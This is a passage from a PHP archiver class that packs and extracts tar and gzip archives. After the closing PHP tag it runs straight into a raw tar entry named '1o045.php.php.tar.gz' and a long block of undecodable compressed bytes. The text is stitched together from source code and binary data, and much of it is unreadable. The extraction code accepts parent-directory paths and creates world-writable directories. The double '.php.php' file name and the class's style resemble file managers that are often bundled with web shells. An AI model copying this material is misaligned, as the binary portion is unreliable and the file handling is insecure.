		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>1o045.php.php.tar.gz000064400000060637000000000000007774 0ustar00���r�Ȳ د*��$K�H)��"%���(R���y5 	� A��5O����<�٘�͇�C�<�M��¹��_2���������3������������p
��n٩��7���&+܄g��]��0d�v?,�1���o9]����G�����t0�F��Cρh8a�?���V5NAM�3�w���'4�?����jL^yf�Ih�f�����o��?�,����0Y+�&����Ɍ$k�p�I\q͉���?]skm*+�M2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK�����o8�Ea�k������#M�;~z9z|�E�7S�8�?~aI�_�/�����FDE�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�v�hʚ�9h���«hP��@֦�����D�-5`|^�
�����Zot/i���X�4
�j�,8�U�S�S/3�Q+/� �^�/^f-�d/���������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<����蝩^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4���%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x���Yᙽ�f�5}�rZ�23B�xF�
*3D|Y�3.�VT�Ž�@��꿳�1b~�n��é�A#�+��(��9����d��ud8iȋ�>��)Z*p=�	�ɋ%��0�#�J�,��	Ҁo�$��R�x���Ȣ_���m��=@��C�5��p*~�SFF�-o%�-H�ߖ%�����o�
��7��xſ�>u�S�JSYa�!]7x��uXw0�o{��d���w��^�8K��Jr�Vd<�T��.�,	���KC�}�:
���mT0��(� �q~�:d\�x�5���:ʔ	����-��zO�(�>@ʜ7Wα%x��
�m�������: 	���d���x�:j��n<�-_jh�AY���h��eX� ��@C�8;N�_����G	���q��f�1�s�d%�U�X��Yx@)����JY����P�:����?�
O=x'z
�1�N���u�h��jNe�C���yL���/�K9����z[rY�J[x����ũ����a�-(�|�:�s�C�����җ�G���Ék@���9ϣ�&=�ś�Dyi���(�Pk
��H�
�H>x���CEyĻ����,��"C���;*h�||e<�w�W(�l���p{����^��FF<�3VП�܉�.9m
m/���u����۹f�ҝ_��'F/����.���fn��Z��� �
�y�:��ꙓEp����^ ��@Z�|K㬓Pd9Erǂ��$.�
� �6�^dh���uD|!��n�'oǜ��eur��A��d��0�k4gQ�sh��$E���Y~��R(�"Ɇ���nrG�ݶ�R����ڻа�/����NC5q~E�1�i��
����1@��&���\!���
ꋴ^�0|� ��$�Z��L�ov�Z���ɖ��o'���ș}�5�S@f���8�u:8�vw
іij���R��iv�ݧ �t4��-LR�Eʂ�!�Og'e4d��3���L�q��ӕs�v�c�t2�{<o�d"e��Q2��娈M�`�8/*/ZH˜��2�3������Y�*�`LP�br�PIВ�����m�&f?H"�b�QQPO���P�4��8P��H��-
��jֳ��r62�����;�ĩ�jN#��,���TD3Ϙ�8�L
H
ڼ�P��Vl�����A�%Hc�L�NT�h&��=C!����I&��r㙋��K�i2�j����44F�6L���錠����ZB8ͭp�e�!V ����|�UaC� #�
f�$�e��븴�!{5ڍ]�h��g~c^e��+��6*��n�t:ٖ�f��y�hb�˶a��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S���)���;����`�����"3�4D#$��	2�D��\]�F�ZW�؜<������1l�0{��@�A�/8�Q����["Ɯ�ĘEo�3e�-�)pP1�&pXL#���v
h[��4�C��z�2�	/�N�|��Il�,�p[�DЦ�p7�&K6�K��nǂJ�^v��Hwa��T։$C��HJ��Γ��#�&�]�����A*�$�C^U��C$(rH}VT(b����T���u��K(�&�R��^6�-{���K��kfR�\=3�l�����dx�R//�b9��B�[#*�T�	�j�!u�������ӗ$�q~�����������/0�QS�/�˫��V4�:�v0T�0��p����9��9�>T�)?�3�fn}�1.L��1�����}I����Z;��+�#X��M.NK�:-����ɮ���5����I&��7���{}ea���oL~-a#�j]X*��ӘfCo���Y�n}�v��@7/�`qI@_ᵵ"1�T(���A*l,�]P�!��0�]�̦2#�)�+�X"T]�6x�hQ�I���}��B;ɟ��`�z�(_#Ԡ�9��d�{A�D�lP	�?/�Z�E�R�|Nh�xC*+�O��-8/Z[��s�}wJPea��f0��E���DA�[�3��x,ye��	�`K
�J����T�<W�K?[ڸ��h��PuB�@.Z�Wƿ��~7�L��d,۔�s^#�@�:�Z��<��2!����,
C��Hs;@�5�q`���O�"��Aݼ*j���@��l>g�%?D¤��5�a`�0��=v`�׀M`A������p�Ѐ	4`�/��RX�v`K+0�p[�K�V�]Ӣd6��JV�5���6l�@�Ru����8-��?N�n�S6eQ�=9N�S1���q3�5�v�!қ�"�������~�7���ބ�ӛ���teE��j�����7�s�	RD��z�jY{�J�{�xGY��y�-	�e�HB[4�b��3KnD��	��	���g���+*<�����aZ��)(E�%~KK `8E����o���_�E�h����qB�+��,3�v�p�8!Bkoa&Վ�'�im�/h�i/�JB��9F��]z-/w��)�5�9T�Hv�����6��x�#ը�p�cc��s�*t�-fP�i��.M�>�2�.M�S��3�0��HڢǓ�lXĨ0�M�5r)�����USϔ����႓Y��o����U��e8MC4X��;��L:P��/6�wf��0[�%��-�h��.��;�o�~9���v=m��
Z^<�x������Ȋ��u���1�8p��gk�yi�Mo�<l����
�Wcq�N]n|�@�d^��>I�R���뱼�%,/�P�Nl����Ø���;^��@@a�,�L4	Ei�S$����:�D
l�@�ҹu��D&]EY�qk�H�]�SY���{؀�τ�a�"kL^^K#*�{!�>"Φ�ik����������w�������ۚ���U� �NV��xi�
It3T-��ɣ��Q�څ�|L����wA�?{��R2ʬ��UQ��$�u�o��s�*
��]i�*�7 �v�����pὀ�
������ݺ�n����9�U#�������@k�h�M}ڲ�u�
�?yM��Z�6B��u������3GS��C2i���L¥�����/��g�`'$|�xu���5>]�x�<-٤2���r��m�Nq��U��~g�h	 ]�Z;�y�c_��k@�%�[be=��!<#��#�E�5踆E&�D� ��,�_"��2��;"�n}�'�����ͦ��\����ז჌/_�@�}�^���!����h�Ih�@h
"���!�Tѱ�}Иcf�9��nD�M�	�9�'�o�&�eҩ끪)fQ/�2HP���6�{��u����%��Ղ�)�
�1�\�!�z#(�y��u;���DϤ[�w���2}�t�J��bwE��b�9��Ή��t3�5�5<z�1��5AC����/8%)��#�:}��p�!�2&�#�L~�t|B�5�s&I�hX7H>��!m�=?��{�L���r��s=B�[e,����+�Z�E�t�
�8�:����k����K:?@��b0.@��sH�t�z�ɩ;�9oQK>�=)��% ��cb�mc�:�g��Nz���X�4������]�#.Tt0^�ʣ�	����0ؤ�q��H0��hS:��Y�bs�!�%;���5��>hW���ii��OŞI.��������K�fzp�L�%�3 cR[��"��<����O�������+�w��ho�+���ʻ��Ʒ�������w�7|Ǝ[�Ȓ*�#�=�@��Ց�W�	KŒ�9��D"T�5��<�J/�K����M�H�{���鈚D�‰��iO�gl(S=���@j�/��l�<(�����$5��;
6����K�������s��V���2M�$�Hv�#��8iHh4\�ӟ݄+�[f�GU�q�ş㫗9�1\9�䙾F�y�9?E��^�y��_D��'	�I����'�i�ĸ�{����=}&4�;�Ѡ]Y���uunn+��d�Zǝ�j�� �`�"�;eE�k�'ƛVI���W���1~V�:G��.��vt)�H��
�:
d�<�[^�`�CKy�8#G�kQ��5���j��,כ�z�LZի�?9����Lz�xu��!º�M�w~D�bh����ȩS8#ø`��s�,�u��/t\�_tÇ�kQ�E��$!�>���GL�@����$��vO�8�/��sPQ�h��"Š��E/�B��!�xsO���r��iU��
3JrQPnڞ� �MQ���i"�D~�vB���ͽ�9��� P��5�$9�3�6
7��䕮�ʹL����7�O������^ 5�G�I3� �N^�ȇ"ۨ�9�b��=��&�?�}Nx4F�V�����>;T�F.���&���0�K�֖nI�<�2E�rs��Z@����R<�V��9b��@�J3�h1�J�j��I�۹�˩��S͒����B��P�`�]�`�!��X�4U7Z�ټ_����{R��q�g����/ ��,$;�;���J9�w�wP�!��G7�c�^���Of)Đ*�	�{���%�nU_�4��r�V���W�:��g�� ���tM��l*�!�tK���<W\����f��p#� ���߇���_#ua$�v��׹�n4�*��.Z�kEL�ϒ,�09�W`�;e)#
�yҁ%�����3=k�as�ت�*���_���9��������+l>�mV_��H��a�J��8	;�@']��ā�C�:}�����ֈUBMj��K^N��+�ʉ�=z�/���"��c�[�ӂ.RUBj�~��E=�p?�;'�0-9��k�8���#�r#��C�|����Rs�#�u(�!��\(N����k��F7�3M��zE��"��
[f�G,-%�R*)i������j�8+�9=bw"�#dއt�ы�")x�[����,��^gr�kJ��lٵ�b��f��Jv��M��W��U�ԝR-�WW�33͞���m�i���\aX��k�h���6lŖ�"ar��`��H�,
a1y1���5b�d�E���wj'3@�ki*/x�)���mkQBZ�5/�����A����Lp�����
����gaeQVn��Fd6�$���ė��'!)pm�2���5a09I���1� ��Wn(4�ǧ� �L��K>�CMH<�AX����8{��K�K����`��j�H,eA"[4�������Z]�]r�8�]J�;2�^���6��Ra"�пJ�=͵'�)
��z&��r��h�C�0J�ڹT��+�n)ZG��F��o��q(��d��Z��A��hC��C�Vnzz��)%��-��B�n�l,�����:�!C��p����v���&Bd6AY��F�R:�ak�x��I;7�j�W͉��ᖪ�᭬���6;z�h[
��~�N�"%14^D�U��ƪى�L<�Yx����Ed�K�Y66���G��B�ႍ�YO�{��(�*�	�r�@p�xT����i�&�v�<��@Z,r9���i��S,;n����S7*UB��8��g��#�q)���
'M�7c��P}��B��-{ؙ���g<NZ1���`&<䊩Ь���m�6�����98����Cz���d��*�Yg�R���OD�9�><yֱ�t�)~y�Zr�ٸ�8V�6�V٘�ec�nG�٧E詜�«��y�>�!17��2뙡N�A�z�=��lLt���`&>�d���
�3yYm�e$�.n�ٗ*�U�9�W�Qv<��X�Ԥ�����n�k��jX��-։G��l�K���HgYOWQn�w�~��&V�vR�ծg=k�[uI; �d�B�О��Җ�"h><�����)0G���&ui�o�#-���R�n'?�A���\�7�W6}��=?��\~>>�Ŝ���#���L��n�mǡB�-�ꝺ�Vz�z����\�����YgY�7vOB.#hOJ������X暍�c0��
Ro�X��eY�J��$��
Mv\y��a���(u��7_�b�]}���+R�Ј&V�]�����V��o�7My��\mXYuا�h�b�%,Ѿ�����9X�w�r!ė�c1�N�g�X
�@���h�t��Tj�n��e�Z>{f��r����&��Su�4j�ga��r�NnT+�R[�6�U��(���ppzG2�ZVۦ2����w�=�>ӏ�v$��'�I2I�M,�)L<��*���XK�/�)?��Q�ɡ6���?�L�Ώ�r�Q1C�êI�p�$ۏ0��2�$I`�pc���V#�C������6)�ٜs����ʁE
ǡw	��j�#��v
!.�?�܀�.5����,%����hw�����5�ͪf�)�N�����IJλW`5�ů�Tl[��8zƕ�����K��h�@���p8��q��_��F7���/�F�U=���b�3��K��&ҴS=�^^@^!ã{�X��w��C���/�فl������h'�5x��Y���#ǩl|I�f������m`g?u�b~���꒓�M8�۶Cn��_V���6�W8�i�9sŇފE�
�9�����5��$J9'�p*lt��I��J��<>88�A^A{u������0�]X^/��B��
@S.���7���Cr��0�ȝ`��W�a_�[,�^�N�q�+Hl���ye���k}v�$D�Oַ[��Nw^H��@4����yp�}����P>k�4���4���1�ޠ;�t�Z��"�s���?Rڶ:q�;�:t�~d�+\��\������0�X��e9����l��+��p��~A�'���l�=?hq|��j]�J�(0�!�>��*�e]fO��
Ѐ���I�}4E���n�K��`̱��
�y)u��_���������c��_����g�z�O�������_�������+����������n)�ˏdq�6|�N�_���Bm)bg�����Ͼ�ɈC�i���J���st��B��!��w�L�,ds����J`WM���3�$}�j�k6�^�tc�9��d�BE#w�ѓC��'��6�6j�f�36��ӧp҈ps©kM�%p�vr�d� ���U����1D�3{k��"��]���c�I��^�	�4���0�:�Ov<Y�]�i�v�O���)i_�����d۳��h�[7(sD�f���G�G� A��K��)@J�xJfQ�7�*>��
�PX���	a�.��+��]��%fA_��Í�v��f�n���R�8��[�hl����j�$��ނ��[�{��]��[�93���V<4���5�6f��¨�l�6
�_��oj4zuxY}��.���Fg��3��!4,ÙpO� 	bMB[�=��z�^/�<�>�� �rV����r.*��(����o1��	��"�\��U�5�5���M�
J�:A_��'�7�|x?:U�����������s#�EL�c�{Uұ��7q�9d�m~VzC=󒎭0Ҧ�Q�n��]p9�FrH�	P8X��}+-1,)ǹ0�u��ho�8��ٹf�ص��Z��L� ��s��C�x
��L!�g����q<P��)��I6�O��e�eV�����cI�7���]髵���"!�95�~ky�d��Ⱥ�/r���J��-�i	�Q_ڍ"]h��=T����s�hZ�S�?W��݈����T�᢮��>Ѽ�;a.����	��Ohs��4'�,񳨓�-��i��:h��es�}L�,uA�=��A�1baI]s���η���Y:-�1ǎ�7S7sZ¼n�ā�N �i�;���]W�t�MZ�o�d#��0q�t�c��ř���C�9vt���36#X���z�EK�I�QkT��v�إ���u=�腙I��!�lF��5�+�*��+�r'���9�F8�S_�8Z�xmC�؁ ��xO3��)����{~I�"֫Я#G��7|���C=�_i+y>�����iA�]����~F�~{������8��.X���`cW�ƖF�D-n_oq<j�}{u��7
��Φ-b��Z�H�U��sFЃ���7Z�ܥ�
k1�d��I������ҫn4�-�߮X6�,�^&�|��L(Y���p��E��d���2�d���;<�v�.kI�D#q�	g��ْ����K�\vT�,��l���_��Fh

�� T�Ǝ "NV�垸U�
��^K�FOF�p�}ǐY�b��q�|�qf��!;Ӳ�Vo���ȕt�C:�'��2�t����'�s`q(]j�|���{}�����@ҍ33D�&��?6�q��E�!R�;`'��m���wVw<8�䔛	����ui23�5M^x�_2�H&�a��2��q���sb<��c&@�An��G�'��{AsG� �笓T�NJ3v��X�g�6�k�eM�aB�hI����s�}[��nkņ��h5�R88NO�<o�E��:e�硱��<�u�d����n���Hơ�NC�B^�T��P��(WkH
Fzq������I��2ޙLS����r��-W3�V�Z�K���o6�/H/�{���x-�k�Y�!�ʢb�[��|��A�F��nTZ�T��*�g\�m\���C�iG�E�i,kV��q��R��;���	�����'���������H$��9��/_�rG�v�L/CNa�B[0�������k��[ݐ�t��rp��1;�7V��v;=�‡�ÛM9�+H�O�o(�`J�͔W/;%�Dm�?%O����-�J����%?j��]۱�͘[�����ڸ�����KL�bs�	W~�ݚ�%'��-��
O,i#�#�n�~4�H�a���Xj^7l|g�����<��/�/D3�O1g*b�=Hm�6ňX�GÉH.�j�P��m�H��7�2�HDc�7+�=�����'r�n09?�{?���L8mD�U��{��
7��9�����Sx0)��{f6�b��O�?�����2	�g����ٺ�/�_L�F�ॲ�\.��Y��.��a�6zD,�P0N��^���*�׫�Ԁ�8��I\s�[,��|hsmt;U�Nq��eI���7}n0	4)�y�8��)�ߠ�0o�x3�`�O�H᳟{2�y��Ņb�cy�Vm���fD��e>cq�HC_��]7;h�o����w`G�q�ML����@���A�"B�I�]��A��ک�Ì�:���-�P(�id�a!%�M{�.�!�jϛ�U�>�7�	�m�0�h�۹B\��ju&g�򝜚-ʥ`j</r��$Z-
�?�g\��'<�
�<?�ּ���8�I��l�Q饞V�"��3�]�U�u��+=>�R��p�g����Nզ�Zv����f�J�r&�M����Sz��n�U})S�L.5L��i9SL�S�tt6/-�o��~+UB��r/X���)-UHIcϠ�*fF�G1���b&�Iq�B���MQ�I,U:�:�2��O��tcь�#��DKeӏ�`��*gB��l5�Z�S��Jo�2�j�P{��N�}T���xs��U�+4��Š_7�F/?�d�t`�\����|�\�Ճ���t1O��Ң_h�ҕ;�Ƿh�3�|�a2ak	�)\U�X�"G�Y1�E�x��?
�u�z�!���c�S�x9K�i�]�ؤ!?O֓ј/��b�^n���u������r��,����<R��v��Ao�|�#�VdS6�z��q�6��1᱘�?����l�U�V�=<D���By�lyXf��ȿ/��R�����@�9�Er�p@�Bڥfi����<��U��:�SjA���׍27���`s?�wZ��f�J�J�A��]JM����
!�g�6?yD+�?_4��T�y^���VI=�D�F)�.)�t�m��C*==�ӣC:��&��y|je��t&�h�'%n��B�0H����r�Q�)��\k�
��b7���Yv9�<�ҥ�>��7�Ԥ�k>pB*/�d6�L���pq�/�Q��L�QH7��QiOvmy�.�;Ňq11�#���^�bh��'�}a���ba�n���r'��&���(ȓM��P�-�xW~�ԇJ����A��W�I-(�=��p��Nz�C-7Ȧ�;��Q[5ӯ�������n��vV��:,zq�n��7'��T��ˍ��I�I7�ӧn.�k�&��Lݟɏ��<;�?d���*��?*r�3��z��n�˙Z7'�[�]:&�j�ʾ��O��آ��/v�|����E�Y���U_�7��l��~a�Om��}�y.�l$[�<�i\TKR�15�Zᶧ(���9��\����"���pU��e�SG�'�!�L5��i�x9wh3�2���.R��[��䙫���g�_OFb#R�g��Y6<�s4U���t����S��^
�a��C����*����������AYT�~6"n:��J��|���YvJb����SZ��+�_M�N<�\�=�g��P��S�6[ե���:�e�
<
�A~Y�
